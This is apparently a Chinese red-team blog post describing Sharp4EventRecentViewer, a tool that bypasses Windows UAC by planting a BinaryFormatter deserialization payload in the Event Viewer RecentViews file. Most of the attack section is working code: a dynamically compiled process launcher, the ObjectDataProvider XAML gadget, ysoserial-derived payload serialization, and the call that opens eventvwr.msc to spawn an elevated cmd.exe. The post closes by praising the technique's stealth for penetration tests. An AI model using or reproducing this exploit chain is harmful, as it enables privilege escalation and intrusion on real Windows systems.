Sharp4EventRecentViewer:通过白名单文件反序列化漏洞绕过UAC

Sharp4EventRecentViewer是一款红队常用的UAC绕过工具,利用Windows事件查看器的反序列化漏洞,来实现系统命令执行和UAC绕过。

1. Windows事件查看器

在 Windows 系统中,事件查看器(Event Viewer)是一个非常有用的管理工具,可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。通常情况位于当前系统用户下的AppData\Local\Microsoft\Event Viewer目录。在事件查看器的目录中有一个文件名为 RecentViews,这个文件是一个二进制格式的文件,记录了用户最近在事件查看器中查看的视图信息,保存了一些用户操作日志的信息,一个正常合法的RecentViews文件内容如下图所示。

在 Windows中,可以通过多种方法来启动事件查看器,以下是常见的两种命令行方式,这两条命令会启动 eventvwr.msc 或 eventvwr.exe,均会调用微软管理控制台(MMC)来启动事件查看器界面。

cmd /c eventvwr.msc
cmd /c eventvwr.exe

另外使用Process Hacker 分析事件查看器的加载情况,在 Process Hacker 中,右键单击 mmc.exe 进程,然后选择“属性”,在属性窗口中,切换到“.NET 程序集”标签页,可以看到加载的 .NET 程序集列表,包括 EventViewer.dll,此文件是事件查看器功能的核心模块。这是因为在事件查看器启动过程中,Windows 会自动加载 EventViewer.dll,这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。

由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法,此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容,核心漏洞代码如下所示。

private void LoadMostRecentViewsDataFromFile()
{
   try
    {
    if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
        {
        FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
        object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
        lock (syncRoot)
        {
        EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
        }
        fileStream.Close();
    }
}catch (FileNotFoundException){}
}

因此,只需要使用ysoserial 生成攻击载荷写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,当打开事件查看器即可触发漏洞。

2. 代码实现绕过UAC

2.1 动态编译启动新进程

首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码,用于创建一个控制台程序,内部使用了 DllImport 引入 Windows API 函数 CreateProcess,用于在桌面上创建一个新进程,随后,使用 CSharpCodeProvider 和 CompilerParameters 将这段代码动态编译为一个可执行文件 StartInSelectedDesktop.exe,并存储在临时文件目录中。

string text = "\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nclass HelloWorld\r\n{\r\n    [DllImport(\"kernel32.dll\")]\r\n    private static extern bool CreateProcess(\r\n     string lpApplicationName,\r\n     string lpCommandLine,\r\n     IntPtr lpProcessAttributes,\r\n     IntPtr lpThreadAttributes,\r\n     bool bInheritHandles,\r\n     int dwCreationFlags,\r\n     IntPtr lpEnvironment,\r\n     string lpCurrentDirectory,\r\n     ref STARTUPINFO lpStartupInfo,\r\n     ref PROCESS_INFORMATION lpProcessInformation);\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    struct STARTUPINFO\r\n    {\r\n        public Int32 cb;\r\n        public string lpReserved;\r\n        public string lpDesktop;\r\n        public string lpTitle;\r\n        public Int32 dwX;\r\n        public Int32 dwY;\r\n        public Int32 dwXSize;\r\n        public Int32 dwYSize;\r\n        public Int32 dwXCountChars;\r\n        public Int32 dwYCountChars;\r\n        public Int32 dwFillAttribute;\r\n        public Int32 dwFlags;\r\n        public Int16 wShowWindow;\r\n        public Int16 cbReserved2;\r\n        public IntPtr lpReserved2;\r\n        public IntPtr hStdInput;\r\n        public IntPtr hStdOutput;\r\n        public IntPtr hStdError;\r\n    }\r\n\r\n    [StructLayout(LayoutKind.Sequential)]\r\n    internal struct PROCESS_INFORMATION\r\n    {\r\n        public IntPtr hProcess;\r\n        public IntPtr hThread;\r\n        public int dwProcessId;\r\n        public int dwThreadId;\r\n    }\r\n    \r\n\r\n    static void Main(string[] args)\r\n    {\r\n        string DesktopName=args[0];\r\n        string argumentsAsString = string.Join(\" \", args, 1, args.Length - 1);\r\n        STARTUPINFO si = new STARTUPINFO();\r\n        si.cb = Marshal.SizeOf(si);\r\n        si.lpDesktop = DesktopName;\r\n        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\r\n        bool success = CreateProcess(\r\n            null,\r\n            argumentsAsString,\r\n            IntPtr.Zero,\r\n            IntPtr.Zero,\r\n            false,\r\n            48,\r\n            IntPtr.Zero,\r\n            null,\r\n            ref si,\r\n            ref pi);\r\n    }\r\n}\r\n";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Compling StartInSelectedDesktop...");
CompilerParameters compilerParameters = new CompilerParameters();
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");

我们打开动态编译生成的StartInSelectedDesktop.exe,可以看到格式化的代码,更加便于阅读理解,代码从 args 参数中获取桌面名称和命令行lpCommandLine,将它们传递给 CreateProcess,此处用于启动该新的cmd.exe进程。如下图所示

2.2 对象转换成XAML

随后,利用 ObjectDataProvider 将进程启动参数序列化为 XAML 格式,通过创建Process对象指定启动的文件名是动态编译后的临时文件:StartInSelectedDesktop.exe,Arguments参数为 Default \"cmd.exe\",具体代码如下所示

ProcessStartInfo processStartInfo = new ProcessStartInfo
{
    FileName = outputAssembly,
    Arguments = arguments
};
StringDictionary value = new StringDictionary();
typeof(ProcessStartInfo).GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(processStartInfo, value);
Process objectInstance = new Process
{
    StartInfo = processStartInfo
};

上述代码中ProcessStartInfo 的 environmentVariables 字段是私有的,这里通过反射获取并赋值,确保运行该进程时不使用任何特定环境变量。接着,创建了一个 ObjectDataProvider 对象,该对象的作用是通过 WPF 的数据绑定系统调用方法,并设置StartInfo,objectInstance 是一个新的 Process 实例,并通过 StartInfo 属性设置启动参数,具体代码如下所示。

Process objectInstance = new Process
{
    StartInfo = processStartInfo 
};
ObjectDataProvider obj = new ObjectDataProvider
{
    MethodName = "Start",
    IsInitialLoadEnabled = false,
    ObjectInstance = objectInstance
};

然后,通过 XamlWriter 将 ObjectDataProvider 对象序列化为 XAML 格式的字符串,输出的XAML内容如下所示。

<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="Default &quot;cmd.exe&quot;" 
                             StandardErrorEncoding="{x:Null}" 
                             StandardOutputEncoding="{x:Null}" 
                             UserName="" 
                             Password="{x:Null}" 
                             Domain="" 
                             LoadUserProfile="False" 
                             FileName="C:\Users\Ivan1ee\AppData\Local\Temp\StartInSelectedDesktop.exe" />
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

2.3 BinaryFormatter 序列化

随后,通过 BinaryFormatter反序列化漏洞触发执行XAML代码,在Payload构造过程中搬运了ysoserial.exe里的TextFormattingRunPropertiesMarshal类,完成xaml内容作为参数的传递。

再通过 BinaryFormatter 将 graph 对象序列化成二进制数据,并将其存储到 bfPayload 中。具体代码如下所示

TextFormattingRunPropertiesMarshal graph = new TextFormattingRunPropertiesMarshal(xaml);
byte[] result;
using (MemoryStream memoryStream = new MemoryStream())
{
                Console.WriteLine("Creating the BinaryFormatter...");
                BinaryFormatter binaryFormatter = new BinaryFormatter();
                binaryFormatter.Serialize(memoryStream, graph);
                byte[] bfPayload = memoryStream.ToArray();
                Console.WriteLine("Spoofing DataSets Tables_0 with payload...");
                DataSetMarshal graph2 = new DataSetMarshal(bfPayload);
                memoryStream.Position = 0L;
                binaryFormatter.Serialize(memoryStream, graph2);
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("Exploit Created...");
                result = memoryStream.ToArray();
}

代码创建了一个 DataSetMarshal 对象 graph2,并将 bfPayload 作为参数传递,这里的DataSetMarshal类也是从ysoserial中移植过来的,具体代码如下所示

从.NET反序列化DataSet攻击链得知,主要将payload放到DataSet.Tables_0属性上,因此this._fakeTable的值便是恶意的攻击负载

2.4 白加黑启动绕过UAC

最后,通过调用 CreateProcess 方法,利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,自动化打开事件查看器即可触发漏洞。具体代码如下所示

if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))

在执行Sharp4EventRecentViewer时,只需提供需要执行的命令行参数,Sharp4EventRecentViewer.exe cmd.exe,如下图所示

工具会自动生成的恶意载荷文件并写入到事件查看器的RecentViews路径,然后工具自动化模拟用户打开事件查看器,完成触发反序列化漏洞,启动新的CMD进程命令。如下图所示。

3. 小结

综上,利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,其高度隐蔽性和无文件特性而受到广泛应用。

0 条评论
某人
表情
可输入 255